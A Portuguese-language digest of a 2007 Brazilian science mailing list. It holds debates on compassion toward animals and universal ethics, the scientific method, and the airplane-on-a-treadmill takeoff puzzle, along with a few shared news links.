> > > >quero saber é em que ponto devemos colocar a linha que divide a
> > > >aplicação concreta dessa compaixão.
> > > >
> > > >Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> > > >daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
> > > >
> > > >Em algum momento, sob pena de tornar o argumento absurdo, temos de
> > > >relativizar essa compaixão, não?
> > > >
> > > >Agora, o que a realidade de milhões de anos tem a ver com esta
> > > >questão? Também não é uma pergunta retórica, eu realmente
queria saber
> > > >sua resposta sobre isso.
> > > >
> > > >Por exemplo, as doenças se desenvolvem e evoluem há milhões de
anos, e
> > > >nenhum dos seres vivos que as causam tem a menor compaixão ou
mesmo a
> > > >menor idéia do que isso seja.
> > > >
> > > >Um abraço.
> > > >
> > > >Homero
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > > ><avalanchedrive@> escreveu
> > > > >
> > > > > Caramba, Horáculo...
> > > > > Vc já foi melhor!
> > > > > Frente à realidade estabelecida há milhões de anos, ela só está
> > > >falando de
> > > > > algo denominado de ''empatia'', ou ''compaixão''.
> > > > > abr/M.
> > > > >
> > > > >
> > > > > >From: "oraculo333" <oraculo@>
> > > > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > > > >To: ciencialist@yahoogrupos.com.br
> > > > > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > > > > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > > > > >
> > > > > >Olá Bruna
> > > > > >
> > > > > >Bruna: "A ética universal está na razão de darmos a mesma a
> > > > > >consideração ao sofrimento de outros seres como damos ao nosso
> > >próprio
> > > > > >sofrimento, independente da espécie, do sexo e das habilidades
> > > > > >intelectuais."
> > > > > >
> > > > > >Primeiro, permita-me perguntar, Por que? Por que é assim? E
se eu
> >não
> > > > > >acreditar em você, como pretende provar que é assim? Ou é
apenas
> >uma
> > > > > >questão de crença, devemos acreditar em você e pronto?
> > > > > >
> > > > > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > > > > >importantes e mais polêmicas da filosofia, a existência ou
não de
> >uma
> > > > > >ética universal? Como só você encontrou a resposta, que tem
> >dividido
> > >e
> > > > > >assombrado filósofos por séculos?
> > > > > >
> > > > > >Seria interessante saber como chegou a essa conclusão, o que a
> > >embasa,
> > > > > >quais as evidências, etc. Poderia resolver grandes problemas
> > > > > >filosóficos do ser humano.
> > > > > >
> > > > > >Em segundo, fiquei curioso com este trecho em especial, em
relação
> >a
> > > > > >parte prática, a forma de aplicar esse, generoso, princípio:
> > > > > >
> > > > > >Bruna: "independente da espécie, do sexo e das habilidades
> > > >intelectuais."
> > > > > >
> > > > > >Todos os seres vivos, independente da espécie? E das
habilidades
> > > > > >intelectuais? Por exemplo, baratas estão incluídas, e
devemos agir
> > > > > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > > > > >
> > > > > >E animais selvagens, devemos destruir todas as cidades,
para que
> > > > > >possam voltar a habitar seus ambientes originais?
> > > > > >
> > > > > >E ratos, devemos impedir que sejam mortos nas cidades,
pensando em
> > >sua
> > > > > >"dor"?
> > > > > >
> > > > > >Se eu tiver uma infecção de pele, devo evitar de aplicar
remédios
> >que
> > > > > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > > > > >lombrigas, não posso tomar remédios que causem dor e morte
a elas?
> >As
> > > > > >pessoas que vivem em áreas da África assoladas por doenças como
> > > > > >elefantíase, não podem aplicar as drogas que matam as moscas
> > > > > >transmissoras?
> > > > > >
> > > > > >Por favor, não é uma pergunta retórica ou uma armadilha, eu
> >realmente
> > > > > >quero saber como pretende aplicar sua alegação a casos
concretos,
> >já
> > > > > >que não há nela nenhuma limitação ou forma de decidir a
linha de
> > > >"corte".
> > > > > >
> > > > > >Se considerarmos a dor de TODOS os seres vivos,
independentemente
> >de
> > > > > >qualquer outra coisa, espécie ou capacidade intelectual,
como devo
> > > > > >agir nos casos concretos que citei?
> > > > > >
> > > > > >Um abraço.
> > > > > >
> > > > > >Homero
> > > > > >
> > > > > >
> > > > > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > > > ><brunacribas@> escreveu
> > > > > > >
> > > > > > > A ética universal está na razão de darmos a mesma a
consideração
> > >ao
> > > > > >sofrimento de outros seres como damos ao nosso próprio
sofrimento,
> > > > > > > independente da espécie, do sexo e das habilidades
intelectuais.
> > > > > > >
> > > > > > > Abraços,
> > > > > > >
> > > > > > > da Bruna
> > > > > > >
> > > > > > >
> > > > > > > José Renato <jrma@> escreveu:
> > > > > >Chicão, sou-lhe grato pela troca de idéias. Mas vale
perguntar:
> >como
> > > > > >vamos
> > > > > > > achar a ética universal se não a procurarmos? Parece-me
que a
> > > > > >questão está
> > > > > > > muito menos em encontrá-la, do que na força necessária para
> > > > > >considerá-la e
> > > > > > > praticá-la. Estamos esgotados por tantas solicitações
que não
> >nos
> > > > > >sobra
> > > > > > > energia para sermos o que dizemos ser: homo
sapiens-sapiens.
> > > > > > > []s
> > > > > > > José Renato
> > > > > > > .............................................
> > > > > > >
> > > > > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > <ciencialist@yahoogrupos.com.br>
> > > > > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > >
> > > > > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > > > > história de escolha lembra aquele velho dilema entre
> > > > > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > > > > debate....
> > > > > > > >
> > > > > > > > Abraços.
> > > > > > > >
> > > > > > > > --- José Renato <jrma@> escreveu:
> > > > > > > >
> > > > > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > > > > >> nossa vida é construída,
> > > > > > > >> destruída ou mantida por permanentes escolhas que
> > > > > > > >> fazemos e pelas decisões
> > > > > > > >> que tomamos. Encontrar as melhores decisões e
> > > > > > > >> escolhas para cada situação é
> > > > > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > > > > >> Como elas são praticamente
> > > > > > > >> infinitas alguns roteiros básicos são copilados para
> > > > > > > >> orientações gerais. Mas
> > > > > > > >> no particular, cada um vai ter de optar, escolher e
> > > > > > > >> decidir. Ou deixar que
> > > > > > > >> decidam por nós.
> > > > > > > >> Faço outros comentários no corpo do e-mail, após
> > > > > > > >> JR2, OK?
> > > > > > > >> ..............................................
> > > > > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > >> <ciencialist@yahoogrupos.com.br>
> > > > > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > > >>
> > > > > > > >>
> > > > > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > > > > >> >
> > > > > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > > > > >> O
> > > > > > > >> > atleta sofre muito durante a preparação para bater
> > > > > > > >> > seus recordes com a intenção de ter o prazer de
> > > > > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > > > > >> > valorização,
> > > > > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > > > > >> caixa de
> > > > > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > > > > >> já
> > > > > > > >> > era perseguido por Sócrates com muito empenho.
> > > > > > > >> Perceba
> > > > > > > >> >
> > > > > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > > > > >> > objetivo maior e legítimo do ser humano. As
> > > > > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > > > > >> > troca é prejudicial a
> > > > > > > >> > mim e a todos que uso ou despacho para obter a
> > > > > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > > > > >> reflexão
> > > > > > > >> > que fiz sobre isso, provocada há tempos
> > > > > > > >> > pelo Bulcão, na lista Acropolis.
> > > > > > > >> >
> > > > > > > >> >>>>>>Concordo com a relatividade.
> > > > > > > >> >
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > > > > >> sua
> > > > > > > >> > existência passa a buscar viver de verdade, ter um
> > > > > > > >> amor de
> > > > > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > > > > >> e confortam
> > > > > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > > > > >> > a realidade com todas as sua conseqüências.
> > > > > > > >> >
> > > > > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > > > > >> saiba mais
> > > > > > > >> > verdades que uma pessoa comum. Com isso você
> > > > > > > >> pensaria
> > > > > > > >> > que conhece a realidade e seria bom para você.
> > > > > > > >> > Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > > > > >> sair dela, da geléia geral
> > > > > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > > > > >> meios de comunicação
> > > > > > > >> acionados pelos interesses comerciais e políticos.
> > > > > > > >> Viver na realidade ou na
> > > > > > > >> verdade dá mais segurança, harmonia,
> > > > > > > >> tranquilidade... O melhor em tudo é não
> > > > > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > > > > >> isso que a Ciência
> > > > > > > >> busca.
> > > > > > > >> >
> > > > > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > > > > >> diversas
> > > > > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > > > > >> melhores
> > > > > > > >> > momentos da vida vieram através da realidade e da
> > > > > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > > > > >> >
> > > > > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > > > > >> sair dela.
> > > > > > > >> >
> > > > > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > > > > >> > fazem... Quanto a não
> > > > > > > >> > ser punido ou não sentir remorsos não é uma
> > > > > > > >> certeza
> > > > > > > >> > obtida de antemão.
> > > > > > > >> > Quando menos se espera vem a tal crise existencial
> > > > > > > >> e
> > > > > > > >> > aí o cara se
> > > > > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > > > > >> > traidor, etc. e nem sabe
> > > > > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > > > > >> e
> > > > > > > >> > mentira.
> > > > > > > >> >
> > > > > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > > > > >> aquelas
> > > > > > > >> > que não sentem nenhum remorso em fazer ações
> > > > > > > >> > consideradas más.
> > > > > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > > > > >> conscientemente alguém gera
> > > > > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > > > > >> para mim" que vai geram um
> > > > > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > > > > >> estudos dos diversos
> > > > > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > > > > >> identifica-se regiões onde
> > > > > > > >> estão os "bancos de dados" e procedimentos de
> > > > > > > >> avaliação ética-moral. Célebre
> > > > > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > > > > >> provocado por um prego
> > > > > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > > > > >> cabeça, mas ele continuou
> > > > > > > >> consciente e aparentemente não prejudicou em nada
> > > > > > > >> seus movimentos e
> > > > > > > >> atividades intelectuais. Após a remoção do prego,
> > > > > > > >> recuperação e volta ao
> > > > > > > >> trabalho, observou-se que o cara estava com um
> > > > > > > >> comportamento diferente,
> > > > > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > > > > >> daí começou-se a fazer
> > > > > > > >> testes mais acurados sobre o funcionamento dessa
> > > > > > > >> região afetada e de outras
> > > > > > > >> regiões do cérebro.
> > > > > > > >> >
> > > > > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > > > > >> pode
> > > > > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > > > > >> violência,
> > > > > > > >> > mas é um distúrbio mental que não me parece grande
> > > > > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > > > > >> minha
> > > > > > > >> > experiência de vida para discernir o que é melhor,
> > > > > > > >> o
> > > > > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > > > > >> é
> > > > > > > >> > um exercício diário que requer tempo, coragem e
> > > > > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > > > > >> outros
> > > > > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > > > > >> que tenha
> > > > > > > >> > alguma chance de obter melhores resultados...
> > > > > > > >> >
> > > > > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > > > > >> você
> > > > > > > >> > disse é relativo.
> > > > > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > > > > >> crueldades e das maiores
> > > > > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > > > > >> fazer alguma ignomínia.
> > > > > > > >> Basta estar na situação adequada para praticá-la. E
> > > > > > > >> como sempre consideramos
> > > > > > > >> algum ponto de referência pode estar certo que não
> > > > > > > >> só o resto como tudo o
> > > > > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > > > > >> um ponto ótimo
> > > > > > > >> inatingível como referência ou norte.
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > > > > >> ilude
> > > > > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > > > > >> de
> > > > > > > >> > qualquer investigação, até que alguém de dentro do
> > > > > > > >> > esquema se sente enganado e, antes de ser
> > > > > > > >> eliminado,
> > > > > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > > > > >> >
> > > > > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > > > > >> > ficarem sob segredo.
> > > > > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > > > > >> ser
> > > > > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > > > > >> mau
> > > > > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > > > > >> Note
> > > > > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > > > > >> jogos).
> > > > > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > > > > >> longo prazo quando todos
> > > > > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > > > > >> buscada permanentemente.
> > > > > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > > > > >> tirar o que vc já
> > > > > > > >> ganhou prejudicando ou não prejudicando outras
> > > > > > > >> pessoas. Esse é o normal na
> > > > > > > >> maioria das nossas comunidades.
> > > > > > > >>
> > > > > > > > === message truncated ===
> > > > > > > >
> > > > > > > >
> > > > > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > > > > O que há é pouca gente para dar por isso... "
> > > > > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > > > > >
> > > > > > > >
__________________________________________________________
> > > > > > > > As informações existentes nessa mensagem e no(s)
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> > > > > >anexado(s)
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> > > >impróprio será
> > > > > > > > tratado
> > > > > > > > conforme as normas da empresa e a legislação em vigor.
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> > > > > > > > colaboração.
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> > > > > > > > Version: 7.5.446 / Virus Database: 268.18.9/719 -
Release
> >Date:
> > > > > >12/3/2007
> > > > > > > > 08:41
> > > > > > > >
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> >http://www.ciencialist.com
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> >
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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 00:01

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> que o conhecimento passou a ser considerado somente utilitarista, a
> Ciência deixou de lado o desafio permanente de alcançar a Realidade
> e passou a produzir novidades para comercializar.

E as novidades só foram possíveis depois q se passou a ter
conhecimento efetivo sobre o funcionamento da natureza.

[]s,

Roberto Takata



SUBJECT: P/ Renato - Re: Sobre o Método Cientifico - ad infinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 00:15

Renato: "a Ciência deixou de lado o desafio permanente de alcançar a
Realidade e passou a produzir novidades para comercializar."

Neste momento, astrofísicos tentam descobrir o que ocorreu nos
primeiros instantes depois do Big Bang, o que não vai produzir nenhuma
novidade para comercializar, mas vai nos ajudar a entender mais nosso
universo e sua realidade.

Neste momento, um super-acelerador de particulas, o Grande Colisor de
Hádrons, está sendo finalizado no CERN, para tentar encontrar o Bóson
de Higens, o que também não vai gerar nenhuma novidade para
comercializar, mas vai no ajudar a entender profundamente a realidade
da matéria de nosso universo.

Neste momento, um desafio impressionante, a resolução de um problema
matemático de 258 dimensões foi produzida, em um feito impressionante
e, claro, totalmente inútil do ponto de vista comercial, mas que nos
leva mais perto da realidade e da compreensão deste universo.

Exemplos como esse se reproduzem mundo afora, a cada dia que passa,
refutando completamente sua alegação.

Infelizmente, não há, neste momento, cientistas tentando encontrar
duendes, fadas, atlantes de alpha-centauri, Zeus ou Jeová, divindades
diversas, e todo conjunto de seres imaginários que nossa mente pode criar.

Existem, entretanto, pessoas, muitas na verdade, que crêem
profundamente em tudo isso (algumas até crêem em mais de uma dessas
criaturas imaginárias), que procuram "alcançar a realidade".

Tem certeza de que acha mais seguro, confiável e razoável ficar do
lado delas, e tentar "alcaçar a realidade" dessa forma, em vez do lado
da ciência, Renato?

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > que o conhecimento passou a ser considerado somente utilitarista, a
> > Ciência deixou de lado o desafio permanente de alcançar a Realidade
> > e passou a produzir novidades para comercializar.
>
> E as novidades só foram possíveis depois q se passou a ter
> conhecimento efetivo sobre o funcionamento da natureza.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 00:21

Olá, Homero! Em vez de repetir que é absurdo podia estar pensando sobre os
diversos enfoques do problema. Acorde, seja objetivo e vamos ver se a ficha
despenca de uma vez...
Vc está em uma esteira ergométrica. Vc está andando *na mesma velocidade* da
esteira em sentido contrário. Sua velocidade está sendo medida em relação a
um ponto na esteira em movimento. Em relação ao solo vc está praticamente
parado...
[]s
JR
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 12:30 AM
Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
problemas sim


Olá Jose Renato

Renato: " O esquema que Luiz elaborou devia ter lhe revelado mais do
que somente que o avião se desloca, não com a mesma velocidade da
esteira mas sim, com o *dobro* da velocidade, quando ela medida em
relação à esteira."

O que o esquema demonstra, claramente, é que o avião DECOLA, ainda que
a esteira se mova, em relação a ele, no dobro da velocidade. Na
verdade é EXATAMENTE por isso que ele decola, porque, estando a
esteira, em relação ao avião, no DOBRO da velocidade de decolagem,
isso significa que EM RELAÇÃO AO SOLO, e a ar a sua volta, ele se
desloca a velocidade de decolagem.

Não adianta, Renato, enquanto não entender seu erro, vai ficar girando
em círculos, pensando que o avião pode ser impedido de decolar pela
esteira, apenas porque esta se move para tras.

Renato: " O que ocorrerá se o avião estiver sobre uma esteira que se
desloca com a *mesma* velocidade que ele, em sentido contrário, e vc
olhar pelo visor do compartimento de bagagens? Vc verá a pista-esteira
passando cada vez mais rápido sob o avião quando as turbinas aceleram..."

O que significa que este, o avião, se desloca em relação ao solo EM
VELOCIDADE DE DECOLAGEM.

Tem de compreender, sua "visão" está incorreta e equivocada, e o
impede de avaliar o problema corretamente. Está tentando "ver" o avião
e as forças em questão, quando tem de calcular, analisar a partir da
física de vetores para entender.

Sua compreensão de "rodas" e propulsão pelo atrito das rodas, está
"bagunçando" sua cabeça. O avião não depende das rodas, o que
significa que NÃO depende da esteira, que só pode agir sobre as rodas
(e não sobre o avião e sobre seu movimento).

Um avião, sobre uma esteira, que se move A MESMA velocidade deste, mas
para tras, é uma imagem que não está sendo vista corretamente por
você, devido a forma como "enxerga" as rodas.

mas, na verdade, o avião nesta situação está se movendo, em relação ao
solo e ao ar, em velocidade de decolagem, digamos 100 km/h, em relação
a esteira no dobro dessa velocidade, 200 km/h. As rodas giram nessa
velocidade, devido ao fato de que, o avião, as acelera a 100 km/h em
uma direção, e a esteira, as "gira" (e, preste atenção, não as MOVE,
para frente) a 100 km/h, de forma que elas tem de GIRAR no dobro da
velocidade do avião e da esteira.

Mas, o avião, para os efeitos de decolagem, está na velocidade correta
e DECOLA.

Repito, enquanto não conseguir se livrar da "pegadinha", do "red
hering" que é a esteira,. não vai entender sem erro. Mesmo que alguém
construisse um modelo real, e demonstrasse a você que o avião decola,
ainda pensaria que estão tentando "enganar" você, e que sua visão é
correta.

Homero





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SUBJECT: Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 00:39

Olá Jose Renato

Renato: "Olá, Homero! Em vez de repetir que é absurdo podia estar
pensando sobre os
> diversos enfoques do problema. Acorde, seja objetivo e vamos ver se
a ficha
> despenca de uma vez...
> Vc está em uma esteira ergométrica. Vc está andando *na mesma
velocidade* da
> esteira em sentido contrário."

Será possível??!! Será que é uma incapacidade cognitiva permanente????

NINGUÉM está ANDANDO na esteira, renato, pois para ANDAR na esteira se
usam os pés e pernas, não PROPULSÃO como aviões.

Tente isto, você está SOBRE PATINS na esteira, e tem uma hélice de
parapente movido a motor em suas costas, que o fazem avançar. NÃO
IMPORTA a velocidade da esteira, as rodas do patins impedirão que você
seja levado para tras, e as hélices o farão SAIR VOANDO (no sentido
figurado) de cima da esteira.

Mesmo sem a hélice, pense, você se segura na borda, bem fracamente, e
NÃO move as pernas, NÃO anda. Mesmo assim, não se move, pois a esteira
NÃO pode mais afeta-lo, pois ESTÁ DE PATINS.

Acelere a esteira, e nada, não se move. Mesmo com a esteira rolando
BEM rápido sob você, basta usar pouca força, um mínimo, nas bordas com
as mãos, para AVANÇAR, sobre a esteira, em relação ao chão.

A esteira só pode afeta-lo, já que NÃO ANDA, através do atrito nos
rolamentos do patins. Se forem bons patins, importados, com baixissimo
atrito, será muito fácil se manter ou avançar MESMO QUE A ESTEIRA
ESTEJA ROLANDO BEM RÁPIDO SOB VOCÊ.

Tente usar seu próprio exemplo, você está, NÃO andando, PATINANDO
sobre uma esteira de aeroporto, com hélices ligadas a suas costas.

A esteira pode rodar para frente, para tras ou ficar parada, NADA
DISSO INTERFERE em seu movimento, propulsionado pela hélices.

Chega, não aguento mais sua teimosia. Se não entende, então não
entende, embora TODOS já tentassem explicar (e desistiram).

Você está errado. Viva com isso, ou aprenda, para mim chega.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero! Em vez de repetir que é absurdo podia estar pensando
sobre os
> diversos enfoques do problema. Acorde, seja objetivo e vamos ver se
a ficha
> despenca de uma vez...
> Vc está em uma esteira ergométrica. Vc está andando *na mesma
velocidade* da
> esteira em sentido contrário. Sua velocidade está sendo medida em
relação a
> um ponto na esteira em movimento. Em relação ao solo vc está
praticamente
> parado...
> []s
> JR
> .................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 12:30 AM
> Subject: [ciencialist] Que absurdo, Renato - Re: P/ Renato, decola sem
> problemas sim
>
>
> Olá Jose Renato
>
> Renato: " O esquema que Luiz elaborou devia ter lhe revelado mais do
> que somente que o avião se desloca, não com a mesma velocidade da
> esteira mas sim, com o *dobro* da velocidade, quando ela medida em
> relação à esteira."
>
> O que o esquema demonstra, claramente, é que o avião DECOLA, ainda que
> a esteira se mova, em relação a ele, no dobro da velocidade. Na
> verdade é EXATAMENTE por isso que ele decola, porque, estando a
> esteira, em relação ao avião, no DOBRO da velocidade de decolagem,
> isso significa que EM RELAÇÃO AO SOLO, e a ar a sua volta, ele se
> desloca a velocidade de decolagem.
>
> Não adianta, Renato, enquanto não entender seu erro, vai ficar girando
> em círculos, pensando que o avião pode ser impedido de decolar pela
> esteira, apenas porque esta se move para tras.
>
> Renato: " O que ocorrerá se o avião estiver sobre uma esteira que se
> desloca com a *mesma* velocidade que ele, em sentido contrário, e vc
> olhar pelo visor do compartimento de bagagens? Vc verá a pista-esteira
> passando cada vez mais rápido sob o avião quando as turbinas
aceleram..."
>
> O que significa que este, o avião, se desloca em relação ao solo EM
> VELOCIDADE DE DECOLAGEM.
>
> Tem de compreender, sua "visão" está incorreta e equivocada, e o
> impede de avaliar o problema corretamente. Está tentando "ver" o avião
> e as forças em questão, quando tem de calcular, analisar a partir da
> física de vetores para entender.
>
> Sua compreensão de "rodas" e propulsão pelo atrito das rodas, está
> "bagunçando" sua cabeça. O avião não depende das rodas, o que
> significa que NÃO depende da esteira, que só pode agir sobre as rodas
> (e não sobre o avião e sobre seu movimento).
>
> Um avião, sobre uma esteira, que se move A MESMA velocidade deste, mas
> para tras, é uma imagem que não está sendo vista corretamente por
> você, devido a forma como "enxerga" as rodas.
>
> mas, na verdade, o avião nesta situação está se movendo, em relação ao
> solo e ao ar, em velocidade de decolagem, digamos 100 km/h, em relação
> a esteira no dobro dessa velocidade, 200 km/h. As rodas giram nessa
> velocidade, devido ao fato de que, o avião, as acelera a 100 km/h em
> uma direção, e a esteira, as "gira" (e, preste atenção, não as MOVE,
> para frente) a 100 km/h, de forma que elas tem de GIRAR no dobro da
> velocidade do avião e da esteira.
>
> Mas, o avião, para os efeitos de decolagem, está na velocidade correta
> e DECOLA.
>
> Repito, enquanto não conseguir se livrar da "pegadinha", do "red
> hering" que é a esteira,. não vai entender sem erro. Mesmo que alguém
> construisse um modelo real, e demonstrasse a você que o avião decola,
> ainda pensaria que estão tentando "enganar" você, e que sua visão é
> correta.
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> Homero
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SUBJECT: [RN] EMOCAO, RAZAO E ETICA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 01:05

G1.COM, 21-03-2007

EMOÇÃO TIRA A LÓGICA DOS DILEMAS MORAIS

Seres humanos são incapazes de sacrificar alguns pelo bem de muitos.
Decisão lógica só é tomada por quem tem um dano no cérebro.
http://g1.globo.com/Noticias/Ciencia/0,,MUL12939-5603-5997,00.html
-----------------------
Sempre desconfiei q Jack Bauer tinha um parafuso a menos.

[]s,

Roberto Takata



SUBJECT: Faça seu próprio reator de fusão nuclear
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO:
DATE: 22/03/2007 03:36

Para quem gosta, é um prato cheio

http://www.hackaday.com/2007/03/18/make-your-own-fusion-reactor/


--
Luiz Antonio Picanço

Programando na madrugada:
http://www.luizantonio.com
Não Enche:
http://www.naoenche.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ Murilo - Crueldade com animais
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 06:27

Murilo/Bruna,

Recentemente, a mídia mostrou o drama de um ursinho branco, lindo e dócil, que foi rejeitado pela mãe. Do ursinho... Pois bem, informam que o animal está sendo cuidado por humanos, no zoo, quanto às necessidades básicas, indispensáveis às crianças. Mas vêm os protetores de animais e se dizem preocupados e elencam um conjunto de motivos pelos quais o ursinho deva ser sacrificado! O ursinho deverá ser sacrificado!. Dentro do espírito do que está sendo defendido, de maneira denodada, em duas threads já bastante compridas, neste fórum, quais as respostas para as questões abaixo?

1 - Os motivos alegados justificam o "sacrifício"?
2 - Onde fica a ética, nesse caso?
3 - Onde fica a "campaixão" nesse caso" ( Lembrar que nem estamos numa tribo medieval, ou de costumes "diferentes").
4- Afinal, em considerando o fato ora posto a descoberto, como fica agora o conceito "Crueldade com os animais" ?

Então, o simples fato de acharem que o animalzinho terá dificuldades de se adaptar, que não poderá relacionar-se com outros animais da mesma espécie( o que é discutível, altamente discutível) é uma justificativa séria, ética e não cruel, segundo esses grupos !

E então?

Sds,
Victor.







----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 21, 2007 11:57 PM
Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais


Olá Murilo

Murilo: "Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a
mim."

Desculpe, mas não tinha o que dizer, ou responder. Você apenas estava
"puxando briga" e não querendo um debate ou mesmo discussão lógica. Eu
respondi, quando achei que devia, toda mensagem sua (ou de quem seja,
sou um cara educado..:-), mas o que esperava que eu respondesse nesse
caso?

Se lesse minhas mensagens anteriores, para a Bruna por exemplo,
entenderia seu erro quanto ao que defendo. Nunca disse que não devemos
ter compaixão, mas sim que é preciso pensar sobre em que ponto colocar
a linha limite da compaixão (ratos ou coelhos, pessoas ou vacas).

